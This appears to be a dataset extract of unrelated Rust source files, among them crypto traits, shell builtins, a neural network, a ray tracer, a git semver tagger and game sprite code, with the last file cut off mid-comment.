text
stringlengths
8
4.13M
// Copyright 2019 The Tari Project // SPDX-License-Identifier: BSD-3-Clause //! This module contains implementations using the Ristretto curve. #[cfg(feature = "bulletproofs_plus")] pub mod bulletproofs_plus; pub mod constants; pub mod pedersen; mod ristretto_com_and_pub_sig; mod ristretto_com_sig; pub mod ristretto_keys; mod ristretto_sig; #[cfg(feature = "serde")] pub mod serialize; pub mod utils; pub use self::{ ristretto_com_and_pub_sig::RistrettoComAndPubSig, ristretto_com_sig::RistrettoComSig, ristretto_keys::{RistrettoPublicKey, RistrettoSecretKey}, ristretto_sig::{RistrettoSchnorr, RistrettoSchnorrWithDomain}, }; // test modules #[cfg(test)] mod test_common;
extern crate dirs; use std::collections::hash_map::RandomState; use std::collections::HashMap; use std::env; use std::fs; use std::io::Error; use std::os::unix::process::ExitStatusExt; use std::path::PathBuf; use std::process::ExitStatus; use crate::utils::get_histfile_path; type Builtin = fn(Vec<String>) -> Result<ExitStatus, Error>; pub fn builtins() -> HashMap<String, Builtin> { let mut builtins: HashMap<String, Builtin, RandomState> = HashMap::new(); builtins.insert(String::from("cd"), builtin_cd); builtins.insert(String::from("exit"), builtin_exit); builtins.insert(String::from("let"), builtin_let); builtins.insert(String::from("history"), builtin_history); builtins } fn builtin_cd(args: Vec<String>) -> Result<ExitStatus, Error> { let path = args.get(0) .map(PathBuf::from) .unwrap_or_else(|| dirs::home_dir().unwrap()); env::set_current_dir(path).map(|_| ExitStatus::from_raw(0)) } fn builtin_exit(_: Vec<String>) -> Result<ExitStatus, Error> { std::process::exit(0) } fn builtin_let(args: Vec<String>) -> Result<ExitStatus, Error> { if args.len() != 2 { eprintln!("Expected 2 arguments found {}", args.len()); Ok(ExitStatus::from_raw(1)) } else { env::set_var(args.get(0).unwrap(), args.get(1).unwrap()); Ok(ExitStatus::from_raw(0)) } } fn builtin_history(_: Vec<String>) -> Result<ExitStatus, Error> { let history = fs::read_to_string(get_histfile_path()).unwrap_or(String::new()); eprintln!("{}", history.trim_end()); Ok(ExitStatus::from_raw(0)) }
use rstest_test::{Project, Stringable, TestResults, assert_not_in, sanitize_name, testname}; use lazy_static::lazy_static; use std::path::{Path, PathBuf}; use temp_testdir::TempDir; pub fn resources<O: AsRef<Path>>(name: O) -> PathBuf { Path::new("tests").join("resources").join(name) } fn prj(res: impl AsRef<Path>) -> Project { let prj_name = sanitize_name(testname()); let prj = ROOT_PROJECT.subproject(&prj_name); prj.add_local_dependency("rstest_reuse"); prj.add_dependency("rstest", r#""*""#); prj.set_code_file(resources(res)) } fn run_test(res: impl AsRef<Path>) -> (std::process::Output, String) { let prj = prj(res); ( prj.run_tests().unwrap(), prj.get_name().to_owned().to_string(), ) } #[test] fn simple_example() { let (output, _) = run_test("simple_example.rs"); TestResults::new() .ok("it_works::case_1") .ok("it_works::case_2") .fail("it_fail::case_1") .fail("it_fail::case_2") .ok("it_fail_but_ok::case_1") .ok("it_fail_but_ok::case_2") .assert(output); } #[test] fn not_show_any_warning() { let (output, _) = run_test("simple_example.rs"); assert_not_in!(output.stderr.str(), "warning:"); } #[test] fn in_mod() { let (output, _) = run_test("in_mod.rs"); TestResults::new() .ok("sub::it_works::case_1") .ok("sub::it_works::case_2") .fail("sub::it_fail::case_1") .fail("sub::it_fail::case_2") .assert(output); } #[test] fn import_from_mod() { let (output, _) = run_test("import_from_mod.rs"); TestResults::new() .ok("user::it_works::case_1") .ok("user::it_works::case_2") .assert(output); } #[test] fn deny_docs() { let (output, _) = run_test("deny_docs.rs"); TestResults::new() .ok("it_works::case_1") .ok("it_works::case_2") .assert(output); } lazy_static! { static ref ROOT_DIR: TempDir = TempDir::new(std::env::temp_dir().join("rstest_reuse"), false); static ref ROOT_PROJECT: Project = Project::new(ROOT_DIR.as_ref()); }
use kagura::prelude::*; use std::collections::VecDeque; pub struct CmdQueue<M, S> { payload: VecDeque<Cmd<M, S>>, } impl<M, S> CmdQueue<M, S> { pub fn new() -> Self { Self { payload: VecDeque::new(), } } pub fn enqueue(&mut self, cmd: Cmd<M, S>) { self.payload.push_back(cmd); } pub fn dequeue(&mut self) -> Cmd<M, S> { self.payload.pop_front().unwrap_or(Cmd::none()) } }
use rand; use rand::Rng; use rand::distributions::normal::StandardNormal; use nalgebra::{DMatrix, DVector, IterableMut}; /// Artificial Neural Network /// /// This struct represents a simple Artificial Neural Network (ANN) using /// feedforward and backpropagation. It uses Stochastic Gradient Descent(SGD) /// and a sigmoid activation function. /// /// [Source](http://neuralnetworksanddeeplearning.com/chap1.html) /// /// # Example /// /// ```rust /// // This will create a new ANN with the following topology: /// // 3 "neurons" in the input layer /// // 5 "neurons" in the first hidden layer /// // 3 "neurons" in the second hidden layer /// // 2 "neurons" in the output layer /// let nnet = Network::new(vec![3, 5, 2]); /// ``` #[derive(Debug, Clone)] pub struct Network { /// a Vec outlining the topology of the ANN /// the first entry corresponds to the inputlayer, /// the intermediate entries correspond to the hidden layers /// and the last entry corresponds to the outputlayer. layers: Vec<u8>, /// a Vec that contains the weights of the respective layer weights: Vec<DMatrix<f32>>, /// a Vec cointaining the biases of the respective layer biases: Vec<DVector<f32>>, } impl Network { /// build a new Network with a topology Vector pub fn new(sizes: Vec<u8>) -> Result<Network, &'static str> { if sizes.len() < 3 { return Err("Not enough layers"); } // Store the weights and biases in lists // We will not need weights or biases for input layer, so ignore that (hence -1) let mut weights: Vec<DMatrix<f32>> = Vec::with_capacity(sizes.len() - 1); let mut biases: Vec<DVector<f32>> = Vec::with_capacity(sizes.len() - 1); let mut rng = rand::thread_rng(); // we use the standard normal distribution to initialize weights and biases - why? for (i, layer) in sizes.iter().enumerate().skip(1) { // initialize weight matrices weights.push(DMatrix::from_fn(*layer as usize, sizes[i - 1] as usize, |_, _| { let StandardNormal(x) = rng.gen(); x as f32 })); // initialize biases biases.push(DVector::from_fn(*layer as usize, |_| { let StandardNormal(x) = rng.gen(); x as f32 })); } Ok(Network { layers: sizes, weights: weights, biases: biases, }) } /// Feed input through network, return output layer activation level pub fn feedforward(&self, mut a: DVector<f32>) -> DVector<f32> { for (weight, bias) in self.weights.iter().zip(self.biases.clone().into_iter()) { a = sigmoid(weight * a + bias); } a } /// return the layers used to initialize the ANN pub fn get_layers(&self) -> &Vec<u8> { &self.layers } /// return a vector of the weight matrices of the ANN pub fn get_weights(&self) -> &Vec<DMatrix<f32>> { &self.weights } /// return a vector of the bias matrices of the ANN pub fn get_biases(&self) -> &Vec<DVector<f32>> { &self.biases } } // calculate elementwise sigmoid function fn sigmoid(arr: DVector<f32>) -> DVector<f32> { let mut sig = arr.clone(); for elem in sig.iter_mut() { *elem = 1.0 / (1.0 + (elem).exp()); } sig } #[test] fn test_sigmoid() { let mut arr_orig = DVector::from_element(3, 1.0f32); arr_orig[2] = 2.4137; let arr = sigmoid(arr_orig); assert_eq!(arr[0], arr[1]); assert_eq!(arr[0], 0.26894142137f32); assert_eq!(0.082133951f32, arr[2]); }
use scoped_threadpool::Pool; use spiral::ChebyshevIterator; use crossbeam::atomic::AtomicCell; use crossbeam_channel::bounded; use crate::camera::*; use crate::scene::*; use crate::shared::*; /// Coordinates for a block to render pub struct RenderBlock { pub block_index: u32, pub x: u32, pub y: u32, pub width: u32, pub height: u32, pub pixels: Vec<Color>, } /// Generates blocks of up to width,height for an image of width,height pub struct ImageBlocker { pub image_width: u32, pub image_height: u32, pub block_width: u32, pub block_height: u32, pub block_count_x: u32, pub block_count_y: u32, block_index: u32, } impl ImageBlocker { fn new(image_width: u32, image_height: u32) -> Self { let block_width = 32; let block_height = 32; ImageBlocker { image_width, image_height, block_width, block_height, block_count_x: ceil_div(image_width, block_width), block_count_y: ceil_div(image_height, block_height), block_index: 0, } } } /// Iterator which generates a series of RenderBlock for the image impl Iterator for ImageBlocker { type Item = RenderBlock; fn next(&mut self) -> Option<RenderBlock> { let block_count = self.block_count_x * self.block_count_y; if self.block_index >= block_count { return None; } let block_x = self.block_index % self.block_count_x; let block_y = self.block_index / self.block_count_x; let x = block_x * self.block_width; let y = block_y * self.block_width; let x_end = std::cmp::min((block_x + 1) * self.block_width, self.image_width); let y_end = std::cmp::min((block_y + 1) * self.block_height, self.image_height); let width = x_end - x; let height = y_end - y; let mut rb = RenderBlock { block_index: self.block_index, x, y, width, height, pixels: Vec::new(), }; // Allocate exactly enough space for pixels in the renderblock, to avoid allocation later in the renderer rb.pixels.reserve_exact((width * height) as usize); self.block_index += 1; Some(rb) } } /// Recursive ray tracing fn ray_color(rng: &mut RayRng, ray: Ray, scene: &Scene, depth: i32, ray_count: &mut u32) -> Color { if depth <= 0 { return Color::ZERO; } // Intersect scene let query = RayQuery { ray, t_min: TRACE_EPSILON, t_max: TRACE_INFINITY, }; let hit_option = scene.intersect(query); *ray_count += 1; // If we hit something if let Some(hit) = hit_option { let scatter_option = hit.material.scatter(rng, &ray, &hit); // Recurse if let Some(scatter) = scatter_option { return scatter.attenuation * ray_color(rng, scatter.scattered_ray, scene, depth - 1, ray_count); } return Color::ZERO; } // Background let unit_direction = ray.direction.normalize(); let t = 0.5 * (unit_direction.y + 1.0); (1.0 - t) * Color::new(1.0, 1.0, 1.0) + t * Color::new(0.5, 0.7, 1.0) } /// Renderer which generates pixels using the scene and camera, and sends them back using a crossbeam channel pub struct Renderer { image_width: u32, image_height: u32, channel_sender: crossbeam_channel::Sender<RenderBlock>, channel_receiver: crossbeam_channel::Receiver<RenderBlock>, keep_rendering: AtomicCell<bool>, scene: Scene, camera: Camera, samples_per_pixel: u32, max_depth: i32, } impl Renderer { pub fn new( image_width: u32, image_height: u32, samples_per_pixel: u32, scene: Scene, camera: Camera, ) -> Self { let (s, r) = bounded(image_width as usize * image_height as usize); Renderer { image_width, image_height, channel_sender: s, channel_receiver: r, keep_rendering: AtomicCell::new(true), scene, camera, samples_per_pixel, max_depth: 50, } } pub fn render_frame(&self) { println!("Start render"); let time_start = std::time::Instant::now(); // Generate blocks to render the image let blocker = ImageBlocker::new(self.image_width, self.image_height); let block_count_x = blocker.block_count_x as i32; let block_count_y = blocker.block_count_y as i32; let mut blocks: Vec<RenderBlock> = blocker.collect(); // Set up ChebyshevIterator. A bit awkward because it is square and generates out of bound XY which we need to check. let radius = ((std::cmp::max(block_count_x, block_count_y) / 2) + 1) as u16; let center_x = block_count_x / 2 - 1; let center_y = block_count_y / 2 - 1; let mut spiral_indices = Vec::new(); // Loop blocks in spiral order using ChebyshevIterator for (block_x, block_y) in ChebyshevIterator::new(center_x, center_y, radius) { if block_x < 0 || block_x >= block_count_x || block_y < 0 || block_y >= block_count_y { continue; // Block out of bounds, ignore. } let block_index = (block_y * block_count_x + block_x) as usize; spiral_indices.push(block_index as u32); } blocks.sort_by_key(|rb| spiral_indices.iter().position(|&i| i == rb.block_index)); let atomic_ray_count = &AtomicCell::new(0u64); let mut threadpool = Pool::new(num_cpus::get() as u32); threadpool.scoped(|scoped| { // Loop blocks in the image blocker and spawn renderblock tasks for mut renderblock in blocks { scoped.execute(move || { // Begin of thread let num_pixels = renderblock.width * renderblock.height; let mut ray_count = 0; // Initialize RNG using block_index as seed let mut rng = RayRng::new(renderblock.block_index as u64); if self.keep_rendering.load() { (0..num_pixels).into_iter().for_each(|index| { // Compute pixel location let x = renderblock.x + index % renderblock.width; let y = renderblock.y + (index / renderblock.width) % renderblock.height; // Set up supersampling let mut color_accum = Color::ZERO; let u_base = x as f32 / (self.image_width as f32 - 1.0); let v_base = (self.image_height - y - 1) as f32 / (self.image_height as f32 - 1.0); let u_rand = 1.0 / (self.image_width as f32 - 1.0); let v_rand = 1.0 / (self.image_height as f32 - 1.0); // Supersample this pixel for _ in 0..self.samples_per_pixel { let u = u_base + rng.gen_range(0.0..u_rand); let v = v_base + rng.gen_range(0.0..v_rand); let ray = self.camera.get_ray(&mut rng, u, v); // Start the primary here from here color_accum += ray_color( &mut rng, ray, &self.scene, self.max_depth, &mut ray_count, ); } color_accum /= self.samples_per_pixel as f32; renderblock.pixels.push(color_accum); }); // for_each pixel if self.keep_rendering.load() { self.channel_sender.send(renderblock).unwrap(); } } // check keep_rendering atomic_ray_count.fetch_add(ray_count as u64); // End of thread }); // execute } // loop blocker }); // scoped let time_elapsed = time_start.elapsed(); let ray_count = atomic_ray_count.load(); let ray_count_f32 = ray_count as f32; let mrays_sec = (ray_count_f32 / time_elapsed.as_secs_f32()) / 1000000.0; println!("Stop render"); println!( "Time: {0}ms MRays/sec {1:.3}", time_elapsed.as_millis(), mrays_sec ); } /// Returns fully rendered pixels in the channel pub fn poll_results(&self) -> Vec<RenderBlock> { let mut results = Vec::new(); let mut limit = self.image_width * self.image_height; while !self.channel_receiver.is_empty() { let res = self.channel_receiver.recv().unwrap(); results.push(res); limit -= 1; if limit == 0 { break; } } results } /// Request a currently ongoing render to stop looping pub fn stop_render(&self) { // First flag boolean self.keep_rendering.store(false); // Then drain channel while !self.channel_receiver.is_empty() { let _ = self.channel_receiver.recv(); } } }
//! This module defines various traits required by the users of the library to implement. use core::borrow::Borrow; use core::fmt::Debug; use core::ops::{Add, AddAssign, Mul, MulAssign, Neg, Sub, SubAssign}; use merlin::Transcript; use rand::{CryptoRng, RngCore}; /// Represents an element of a prime field pub trait PrimeField: Sized + Eq + Copy + Clone + Default + Send + Sync + Debug + Add<Output = Self> + Sub<Output = Self> + Mul<Output = Self> + Neg<Output = Self> + for<'a> Add<&'a Self, Output = Self> + for<'a> Mul<&'a Self, Output = Self> + for<'a> Sub<&'a Self, Output = Self> + AddAssign + MulAssign + SubAssign + for<'a> AddAssign<&'a Self> + for<'a> MulAssign<&'a Self> + for<'a> SubAssign<&'a Self> { /// returns the additive identity of the field fn zero() -> Self; /// returns the multiplicative identity of the field fn one() -> Self; /// converts the supplied bytes into an element of the field fn from_bytes_mod_order_wide(bytes: &[u8]) -> Option<Self>; /// returns an uniformly random element from the finite field fn random(rng: &mut (impl RngCore + CryptoRng)) -> Self; } /// Represents an element of a group pub trait Group: Clone + Copy + Debug + Eq + Sized + GroupOps + GroupOpsOwned + ScalarMul<<Self as Group>::Scalar> + ScalarMulOwned<<Self as Group>::Scalar> { /// A type representing an element of the scalar field of the group type Scalar: PrimeField + ChallengeTrait; /// A type representing the compressed version of the group element type CompressedGroupElement: CompressedGroup<GroupElement = Self>; /// A method to compute a multiexponentation fn vartime_multiscalar_mul<I, J>(scalars: I, points: J) -> Self where I: IntoIterator, I::Item: Borrow<Self::Scalar>, J: IntoIterator, J::Item: Borrow<Self>, Self: Clone; /// Compresses the group element fn compress(&self) -> Self::CompressedGroupElement; /// Attempts to create a group element from a sequence of bytes, /// failing with a `None` if the supplied bytes do not encode the group element fn from_uniform_bytes(bytes: &[u8]) -> Option<Self>; } /// Represents a compressed version of a group element pub trait CompressedGroup: Clone + Copy + Debug + Eq + Sized + Send + Sync + 'static { /// A type that holds the decompressed version of the compressed group element type GroupElement: Group; /// Decompresses the compressed group element fn decompress(&self) -> Option<Self::GroupElement>; /// Returns a byte array representing the compressed group element fn as_bytes(&self) -> &[u8]; } /// A helper trait to generate challenges using a transcript object pub trait ChallengeTrait { /// Returns a Scalar representing the challenge using the transcript fn challenge(label: &'static [u8], transcript: &mut Transcript) -> Self; } /// A helper trait for types with a group operation. pub trait GroupOps<Rhs = Self, Output = Self>: Add<Rhs, Output = Output> + Sub<Rhs, Output = Output> + AddAssign<Rhs> + SubAssign<Rhs> { } impl<T, Rhs, Output> GroupOps<Rhs, Output> for T where T: Add<Rhs, Output = Output> + Sub<Rhs, Output = Output> + AddAssign<Rhs> + SubAssign<Rhs> { } /// A helper trait for references with a group operation. pub trait GroupOpsOwned<Rhs = Self, Output = Self>: for<'r> GroupOps<&'r Rhs, Output> {} impl<T, Rhs, Output> GroupOpsOwned<Rhs, Output> for T where T: for<'r> GroupOps<&'r Rhs, Output> {} /// A helper trait for types implementing group scalar multiplication. pub trait ScalarMul<Rhs, Output = Self>: Mul<Rhs, Output = Output> + MulAssign<Rhs> {} impl<T, Rhs, Output> ScalarMul<Rhs, Output> for T where T: Mul<Rhs, Output = Output> + MulAssign<Rhs> {} /// A helper trait for references implementing group scalar multiplication. pub trait ScalarMulOwned<Rhs, Output = Self>: for<'r> ScalarMul<&'r Rhs, Output> {} impl<T, Rhs, Output> ScalarMulOwned<Rhs, Output> for T where T: for<'r> ScalarMul<&'r Rhs, Output> {}
use std::collections::{BTreeMap, HashSet}; use std::path::PathBuf; use super::errors::*; use token; pub type Pos = (PathBuf, usize, usize); pub type Token<T> = token::Token<T, Pos>; #[derive(Debug, PartialEq, Clone)] pub struct FieldInit { pub name: Token<String>, pub value: Token<Value>, } #[derive(Debug, PartialEq, Clone)] pub struct Instance { pub ty: Custom, pub arguments: Vec<Token<FieldInit>>, } #[derive(Debug, PartialEq, Clone)] pub struct Constant { pub prefix: Option<String>, pub parts: Vec<String>, } #[derive(Debug, PartialEq, Clone)] pub enum Value { String(String), Number(f64), Boolean(bool), Identifier(String), Type(Type), Instance(Token<Instance>), Constant(Token<Constant>), } #[derive(Debug)] pub struct OptionDecl { pub name: String, pub values: Vec<Token<Value>>, } #[derive(Debug, PartialEq, Clone)] pub struct Custom { pub prefix: Option<String>, pub parts: Vec<String>, } #[derive(Debug, PartialEq, Clone)] pub enum Type { Double, Float, Signed(Option<usize>), Unsigned(Option<usize>), Boolean, String, Bytes, Any, Custom(Custom), Array(Box<Type>), Map(Box<Type>, Box<Type>), } #[derive(Debug, PartialEq, Eq, Hash, Clone, PartialOrd, Ord)] pub struct Package { pub parts: Vec<String>, } impl Package { pub fn new(parts: Vec<String>) -> Package { Package { parts: parts } } pub fn join(&self, other: &Package) -> Package { let mut parts = self.parts.clone(); parts.extend(other.parts.clone()); Package::new(parts) } } impl ::std::fmt::Display for Package { fn fmt(&self, f: &mut ::std::fmt::Formatter) -> ::std::fmt::Result { write!(f, "{}", self.parts.join(".")) } } #[derive(Debug, Clone, PartialEq, Eq, Hash)] pub enum Modifier { Required, Optional, Repeated, } #[derive(Debug, Clone, PartialEq)] pub struct Modifiers { modifiers: HashSet<Modifier>, } impl Modifiers { pub fn new(modifiers: HashSet<Modifier>) -> Modifiers { Modifiers { modifiers: modifiers } } pub fn test(&self, modifier: &Modifier) -> bool { self.modifiers.contains(modifier) } } #[derive(Debug, Clone)] pub struct Field { pub modifier: Modifier, pub name: String, pub ty: Type, pub field_as: Option<Token<String>>, } impl Field { pub fn is_optional(&self) -> bool { match self.modifier { Modifier::Optional => true, _ => false, } } pub fn name(&self) -> &str { if let Some(ref field) = self.field_as { &field.inner } else { &self.name } } pub fn display(&self) -> String { self.name.to_owned() } } #[derive(Debug, Clone)] pub struct Code { pub context: String, pub lines: Vec<String>, } pub trait BodyLike { fn fields(&self) -> &Vec<Token<Field>>; fn codes(&self) -> &Vec<Token<Code>>; } impl BodyLike for InterfaceBody { fn fields(&self) -> &Vec<Token<Field>> { &self.fields } fn codes(&self) -> &Vec<Token<Code>> { &self.codes } } impl BodyLike for TypeBody { fn fields(&self) -> &Vec<Token<Field>> { &self.fields } fn codes(&self) -> &Vec<Token<Code>> { &self.codes } } impl BodyLike for EnumBody { fn fields(&self) -> &Vec<Token<Field>> { &self.fields } fn codes(&self) -> &Vec<Token<Code>> { &self.codes } } impl BodyLike for TupleBody { fn fields(&self) -> &Vec<Token<Field>> { &self.fields } fn codes(&self) -> &Vec<Token<Code>> { &self.codes } } impl BodyLike for SubType { fn fields(&self) -> &Vec<Token<Field>> { &self.fields } fn codes(&self) -> &Vec<Token<Code>> { &self.codes } } #[derive(Debug, Clone)] pub struct SubType { pub name: String, pub fields: Vec<Token<Field>>, pub codes: Vec<Token<Code>>, pub names: Vec<Token<String>>, } impl SubType { pub fn name(&self) -> String { self.names .iter() .map(|t| t.inner.to_owned()) .nth(0) .unwrap_or_else(|| self.name.clone()) } } #[derive(Debug, Clone)] pub struct InterfaceBody { pub name: String, pub fields: Vec<Token<Field>>, pub codes: Vec<Token<Code>>, pub match_decl: MatchDecl, pub sub_types: BTreeMap<String, Token<SubType>>, } #[derive(Debug, Clone)] pub struct TypeBody { pub name: String, pub fields: Vec<Token<Field>>, pub codes: Vec<Token<Code>>, pub match_decl: MatchDecl, // Set of fields which are reserved for this type. pub reserved: HashSet<Token<String>>, } impl TypeBody { pub fn verify(&self) -> Result<()> { for reserved in &self.reserved { if let Some(field) = self.fields.iter().find(|f| f.name == reserved.inner) { return Err(Error::reserved_field(field.pos.clone(), reserved.pos.clone())); } } Ok(()) } } #[derive(Debug, Clone)] pub struct TupleBody { pub name: String, pub fields: Vec<Token<Field>>, pub codes: Vec<Token<Code>>, pub match_decl: MatchDecl, } #[derive(Debug, Clone)] pub struct EnumValue { pub name: String, pub arguments: Vec<Token<Value>>, pub ordinal: u32, } #[derive(Debug, Clone)] pub struct EnumBody { pub name: String, pub values: Vec<Token<EnumValue>>, pub fields: Vec<Token<Field>>, pub codes: Vec<Token<Code>>, pub match_decl: MatchDecl, pub serialized_as: Option<Token<String>>, pub serialized_as_name: bool, } #[derive(Clone)] pub enum Decl { Type(TypeBody), Interface(InterfaceBody), Enum(EnumBody), Tuple(TupleBody), } impl Decl { pub fn name(&self) -> &str { match *self { Decl::Type(ref body) => &body.name, Decl::Interface(ref body) => &body.name, Decl::Enum(ref body) => &body.name, Decl::Tuple(ref body) => &body.name, } } pub fn display(&self) -> String { match *self { Decl::Type(ref body) => format!("type {}", body.name), Decl::Interface(ref body) => format!("interface {}", body.name), Decl::Enum(ref body) => format!("enum {}", body.name), Decl::Tuple(ref body) => format!("tuple {}", body.name), } } } /// Simplified types that _can_ be uniquely matched over. #[derive(Debug, PartialEq, Clone)] pub enum MatchKind { Any, Object, Array, String, Boolean, Number, } #[derive(Debug, Clone)] pub enum MatchCondition { /// Match a specific value. Value(Token<Value>), /// Match a type, and add a binding for the given name that can be resolved in the action. Type(MatchVariable), } #[derive(Debug, Clone)] pub struct MatchMember { pub condition: Token<MatchCondition>, pub value: Token<Value>, } #[derive(Debug, Clone, PartialEq)] pub struct MatchVariable { pub name: String, pub ty: Type, } #[derive(Debug, Clone)] pub struct MatchDecl { pub by_value: Vec<(Token<Value>, Token<MatchMember>)>, pub by_type: Vec<(MatchKind, Token<MatchMember>)>, } impl MatchDecl { pub fn new() -> MatchDecl { MatchDecl { by_value: Vec::new(), by_type: Vec::new(), } } pub fn identify_match_kind(&self, variable: &MatchVariable) -> MatchKind { match variable.ty { Type::Double | Type::Float | Type::Signed(_) | Type::Unsigned(_) => MatchKind::Number, Type::Boolean => MatchKind::Boolean, Type::String | Type::Bytes => MatchKind::String, Type::Any => MatchKind::Any, Type::Custom(_) | Type::Map(_, _) => MatchKind::Object, Type::Array(_) => MatchKind::Array, } } pub fn push(&mut self, member: Token<MatchMember>) -> Result<()> { match member.condition.inner { MatchCondition::Type(ref variable) => { let match_kind = self.identify_match_kind(variable); { // conflicting when type matches let result = self.by_type.iter().find(|e| e.0 == match_kind || e.0 == MatchKind::Any); if let Some(&(_, ref existing_value)) = result { let err = ErrorKind::MatchConflict(member.condition.pos.clone(), existing_value.condition.pos.clone()); return Err(err.into()); } } self.by_type.push((match_kind, member.clone())); } MatchCondition::Value(ref value) => { { // conflicting when value matches let result = self.by_value.iter().find(|e| e.0.inner == value.inner); if let Some(&(_, ref existing_value)) = result { let err = ErrorKind::MatchConflict(member.condition.pos.clone(), existing_value.condition.pos.clone()); return Err(err.into()); } } self.by_value.push((value.clone(), member.clone())); } } Ok(()) } }
pub mod utils; pub mod base64; pub mod xor; pub mod hex;
use git2; use regex; // const SEMVER_FORMAT: &'static str = "v{MAJOR}.{MINOR}.{PATCH}"; // const REFSPECS: &'static str = "refs/tags/*:refs/tags/*"; const SEMVER_REGEX: &'static str = r"v(?P<MAJOR>\d+).(?P<MINOR>\d+).(?P<PATCH>\d+)"; lazy_static! { static ref RE: regex::Regex = regex::Regex::new(SEMVER_REGEX).unwrap(); } pub struct Version<'a> { major: u16, minor: u16, patch: u16, path: &'a str, rel: ReleaseType, } impl<'a> Version<'a> { // init from a git directory path pub fn from_repo(path: &str) -> Result<Version, String> { let repo = try!(git2::Repository::open(path).map_err(|e| e.to_string())); let desc = try!(repo.describe(&git2::DescribeOptions::new().describe_tags()) .map_err(|e| format!("{} (try --init)", e.message()))); let tag = try!(desc.format(Some(&git2::DescribeFormatOptions::new())) .map_err(|e| e.to_string())); let vers = try!(Version::from_tag(path, tag)); return Ok(vers); } // from_tag builds from a tagged string pub fn from_tag(path: &str, tag: String) -> Result<Version, String> { let caps = match RE.captures(&tag) { None => { return Err(format!("Latest tag '{}' did not match semver format 'v0.0.0'", tag)) } Some(caps) => caps, }; let major = caps.name("MAJOR").unwrap().parse::<u16>().unwrap(); let minor = caps.name("MINOR").unwrap().parse::<u16>().unwrap(); let patch = caps.name("PATCH").unwrap().parse::<u16>().unwrap(); let vers = Version { path: path, major: major, minor: minor, patch: patch, rel: ReleaseType::COMMIT, }; return Ok(vers); } pub fn tag(&self) -> String { return format!("v{MAJOR}.{MINOR}.{PATCH}", MAJOR = self.major, MINOR = self.minor, PATCH = self.patch); } pub fn bump(&self, rel: ReleaseType) -> Version { match rel { ReleaseType::MAJOR => self.bump_major(), ReleaseType::MINOR => self.bump_minor(), _ => self.bump_patch(), } } pub fn release_type(&self) -> ReleaseType { return self.rel; } pub fn set_tag(&self) -> Result<(), String> { let spec = "HEAD"; let repo = try!(git2::Repository::open(self.path).map_err(|e| e.to_string())); match repo.describe(&git2::DescribeOptions::new() .describe_tags() .max_candidates_tags(0)) { Err(_) => (), Ok(_) => return Err(String::from("Spec already has tag")), } let rev = try!(repo.revparse_single(spec).map_err(|e| e.to_string())); try!(repo.tag_lightweight(self.tag().as_str(), &rev, false).map_err(|e| e.to_string())); return Ok(()); } fn bump_major(&self) -> Version { return Version { rel: ReleaseType::MAJOR, major: self.major + 1, minor: 0, patch: 0, ..*self }; } fn bump_minor(&self) -> Version { return Version { rel: ReleaseType::MINOR, minor: self.minor + 1, patch: 0, ..*self }; } fn bump_patch(&self) -> Version { return Version { rel: ReleaseType::PATCH, patch: self.patch + 1, ..*self }; } } // TODO complete auth pub fn push_tags(path: &str, remote: &str) -> Result<(), String> { let repo = try!(git2::Repository::open(path).map_err(|e| e.to_string())); let mut remote = try!(repo.find_remote(remote).map_err(|e| e.to_string())); try!(remote.push(&[REFSPECS], Some(&mut git2::PushOptions::new().remote_callbacks(git2::RemoteCallbacks::new()))) .map_err(|e| e.to_string())); return Ok(()); } #[derive(Debug, Copy, Clone)] pub enum ReleaseType { MAJOR, MINOR, PATCH, COMMIT, } impl ReleaseType { pub fn string(&self) -> &str { match *self { ReleaseType::MAJOR => "major", ReleaseType::MINOR => "minor", ReleaseType::PATCH => "patch", ReleaseType::COMMIT => "commit", } } } #[cfg(test)] mod tests { use super::*; #[test] fn smoke() { let ver = Version::from_tag(".", "v5.5.5".to_owned()).unwrap(); assert_eq!("v5.5.6", ver.bump(ReleaseType::PATCH).tag()); assert_eq!("v5.6.0", ver.bump(ReleaseType::MINOR).tag()); assert_eq!("v6.0.0", ver.bump(ReleaseType::MAJOR).tag()); // TODO assert bad tag } }
use crate::{ color, math::{vec2, Rect, Vec2}, texture::{draw_texture_ex, DrawTextureParams, Texture2D}, time::get_frame_time, }; #[derive(Clone, Debug)] pub struct Animation { pub name: String, pub row: u32, pub frames: u32, pub fps: u32, } pub struct AnimatedSprite { texture: Texture2D, tile_width: f32, tile_height: f32, animations: Vec<Animation>, current_animation: usize, time: f32, frame: u32, } impl AnimatedSprite { pub fn new(texture: (Texture2D, u32, u32), animations: &[Animation]) -> AnimatedSprite { AnimatedSprite { texture: texture.0, tile_width: texture.1 as f32, tile_height: texture.2 as f32, animations: animations.to_vec(), current_animation: 0, time: 0.0, frame: 0, } } pub fn set_animation(&mut self, animation: usize) { self.current_animation = animation; } pub fn draw(&mut self, pos: Vec2, flip_x: bool, _flip_y: bool) { let animation = &self.animations[self.current_animation]; let x_sign = if flip_x { 1. } else { -1. }; self.frame %= animation.frames; draw_texture_ex( self.texture, pos.x + self.tile_width * !flip_x as i32 as f32, pos.y, color::WHITE, DrawTextureParams { source: Some(Rect::new( self.tile_width * self.frame as f32, self.tile_height * animation.row as f32, self.tile_width, self.tile_height, )), dest_size: Some(vec2(x_sign * self.tile_width, self.tile_height)), ..Default::default() }, ); self.time += get_frame_time(); if self.time > 1. / animation.fps as f32 { self.frame += 1; self.time = 0.0; } } }
#[doc = "Reader of register SPINLOCK30"] pub type R = crate::R<u32, super::SPINLOCK30>; impl R {}
use crate::shader::*; use crate::cast_slice::cast_slice; use crate::resources::GraphicResourceManager; use crate::vec2::*; use std; use std::any::Any; use bitflags::bitflags; /*/// Represents the type of update that is expected to be applied to the geometry when an Item's /// update_geometry function is called. pub enum GeometryUpdateType { /// Everything was damaged, so make sure everything is up-to-date. Everything, /// The geometry is about to be drawn and any last moment updates should be applied. PreDraw, }*/ bitflags! { pub struct GeometryDamageFlags: u8 { const NONE = 0b00000000; const VERTEX_DATA = 0b00000001; const UNIFORM_DATA = 0b00000010; const INDICES = 0b00000100; const SIZE = 0b00001000; const EVERYTHING = Self::VERTEX_DATA.bits | Self::UNIFORM_DATA.bits | Self::INDICES.bits | Self::SIZE.bits; } } pub unsafe trait Geometry: std::fmt::Debug + Send + Sync { /// The actual vertex data. fn vertex_data(&self) -> &[u8]; /// The actual uniform data. fn uniform_data(&self) -> &[u8]; /// The a list of vertex indices specifying in which order to use the /// vertices. fn indices(&self) -> &Vec<u32>; fn size(&self) -> Vec2f; /// The shader this `Geometry` uses. This is also used to determine the layout /// of the vertex and uniform data. fn shader(&self) -> &Shader; //fn query_vertex_name(&self, name: &str) -> Option<gfx::pso::buffer::Element<gfx::format::Format>>; /// This can be used to call custom 